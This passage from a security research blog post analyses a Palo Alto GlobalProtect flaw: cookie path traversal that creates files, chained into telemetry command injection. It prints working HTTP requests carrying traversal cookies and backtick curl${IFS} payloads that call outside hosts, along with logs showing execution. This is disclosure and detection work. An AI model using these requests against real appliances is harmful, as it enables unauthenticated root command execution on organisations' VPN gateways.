          runtime_gcWriteBarrier();
        else
          (*v6)[0].data = v52;
        storee.tab = ctxb;
        storee.data = store_8b.data;
        fmtb.str = (uint8 *)"folder is missing, create folder %s";
        fmtb.len = 35LL;
        fmt_16a.array = v51;
        fmt_16a.len = 1LL;
        fmt_16a.cap = 1LL;
        paloaltonetworks_com_libs_common_Warn(storee, fmtb, fmt_16a);
        err_1 = os_MkdirAll((string)s->path, 0644u);

This is interesting, and clearly we’ve found a ‘bug’ in the true sense of the word - but have we found a real, exploitable vulnerability?

All that this function gives us is the ability to create a directory structure, with a zero-length file at the bottom level.

We don’t have the ability to put anything in this file, so we can’t simply drop a webshells or anything.

We can cause some havoc by accessing various files in /dev - adventurous (reckless?) tests supplied /dev/nvme0n1 as the cookie file, causing the device to rapidly OOM, but verifying that we could read files as the superuser, not as a limited user.

Arbitrary File Write

Unmarshalling the local file via the user input that we control in the SESSID cookie takes place as root, and with read and write privileges. An unintended consequence is that should the requested file not exist, the file system creates a zero-byte file in its place with the filename intact.

We can verify this is the case by writing a file to the webroot of the appliance, in a location we can hit from an unauthenticated perspective, with the following HTTP request (and loaded SESSID cookie value).

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: hostname
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;

When we attempt to then retrieve the file we previously attempted to create with a simple HTTP request, the web server responds with a 403 status code instead of a 404 status code, indicating that the file has been created. It should be noted that the file is created using root privileges, and as such, it is not possible to view its contents. But, who cares—it's a zero-byte file anyway.

This is in line with the analysis provided by various threat intelligence vendors, which gave us confidence that we were on the right track. But what now?

Telemetry Python

As we discussed further above - a fairly important detail within the advisory description explains that only devices which have telemetry enabled are vulnerable to command injection. But, our above SESSID shenanigans are not influenced by telemetry being enabled or disabled, and thus decided to dive further (and have another 5+ RedBulls).

Without getting too gritty with the code just yet, we observed from appliance logs that we had access to, that every so often telemetry functionality was running on a cronjob and ingesting log files within the appliance. This telemetry functionality then fed this data to Palo Alto servers, who were probably observing both threat actors and ourselves playing around (”Hi Palo Alto!”).

Within the logs that we were reviewing, a certain element stood out - the logging of a full shell command, detailing the use of curl to send logs to Palo Alto from a temporary directory:

24-04-16 02:28:05,060 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><SERIAL_NO>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260285&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz --capath /tmp/capath'

We were able to trace this behaviour to the Python file /p2/usr/local/bin/dt_curl on line #518:

if source_ip_str is not None and source_ip_str != "": 
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s --interface %s" \\
                     %(signedUrl, fname, capath, source_ip_str)
    else:
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s" \\
                     %(signedUrl, fname, capath)
    if dbg:
        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

The string curl_cmd is fed through a custom library pansys which eventually calls pansys.dosys() in /p2/lib64/python3.6/site-packages/pansys/pansys.py line #134:

    def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
        """call shell-command and either return its output or kill it
           if it doesn't normally exit within timeout seconds"""
    
        # Define dosys specific constants here
        PANSYS_POST_SIGKILL_RETRY_COUNT = 5

        # how long to pause between poll-readline-readline cycles
        PANSYS_DOSYS_PAUSE = 0.1

        # Use first_wait if time to complete is lengthy and can be estimated 
        if first_wait == None:
            first_wait = PANSYS_DOSYS_PAUSE

        # restrict the maximum possible dosys timeout
        PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
        # Can support upto 2GB per stream
        out = StringIO()
        err = StringIO()

        try:
            if shell:
                cmd = command
            else:
                cmd = command.split()
        except AttributeError: cmd = command

        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
                 stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)
        timer = pansys_timer(timeout, PANSYS_DOSYS_MAX_TIMEOUT)

As those who are gifted with sight can likely see, this command is eventually pushed through subprocess.Popen() . This is a known function for executing commands (..), and naturally becomes dangerous when handling user input - therefore, by default Palo Alto set shell=False within the function definition to inhibit nefarious behaviour/command injection.

Luckily for us, that became completely irrelevant when the function call within dt_curl overwrote this default and set shell=True when calling the function.

Naturally, this began to look like a great place to leverage command injection, and thus, we were left with the challenge of determining whether our ability to create zero-byte files was relevant.

Without trying to trace code too much, we decided to upload a file to a temporary directory utilised by the telemetry functionality (/opt/panlogs/tmp/device_telemetry/minute/) to see if this would be utilised, and reflected within the resulting curl shell command.

Using a simple filename of “hellothere” within the SESSID value of our unauthenticated HTTP request:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere

As luck would have it, within the device logs, our flag is reflected within the curl shell command:

24-04-16 01:33:03,746 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/08/33//opt/panlogs/tmp/device_telemetry/minute/hellothere?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713256984&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/**hellothere** --capath /tmp/capath'

At this point, we’re onto something - we have an arbitrary value in the shape of a filename being injected into a shell command. Are we on a path to receive angry tweets again?

We played around within various payloads till we got it right, the trick being that spaces were being truncated at some point in the filename's journey - presumably as spaces aren't usually allowed in cookie values.

To overcome this, we drew on our old-school UNIX knowledge and used the oft-abused shell variable IFS as a substitute for actual spaces. This allowed us to demonstrate control and gain command execution by executing a Curl command that called out to listening infrastructure of our own!

Here is an example SESSID payload:

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;

And the associated log, demonstrating our injected curl command:

24-04-16 02:28:07,091 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/hellothere226%60curl%24%7BIFS%7Dx1.outboundhost.com%60?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260287&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/hellothere226**`curl${IFS}x1.outboundhost.com**` --capath /tmp/capath'

Proof of Concept

At watchTowr, we no longer publish Proof of Concepts. Why prove something is vulnerable when we can just believe it's so?

Instead, we've decided to do something better - that's right! We're proud to release another detection artefact generator tool, this time in the form of an HTTP request:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: watchtowr.com
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}where-are-the-sigma-rules.com`;
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr

As we can see, we inject our command injection payload into the SESSID cookie value - which, when a Palo Alto GlobalProtect appliance has telemetry enabled - is then concatenated into a string and ultimately executed as a shell command.

Something-something-sophistication-levels-only-achievable-by-a-nation-state-something-something.

Conclusion

It’s April. It’s the second time we’ve posted. It’s also the fourth time we’ve written a blog post about an SSLVPN vulnerability in 2024 alone. That's an average of once a month.

As we said above, we have no doubt that there will be mixed opinions about the release of this analysis - but, patches and mitigations are available from Palo Alto themselves, and we should not be forced to live in a world where only the “bad guys” can figure out if a host is vulnerable, and organisations cannot determine their exposure.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.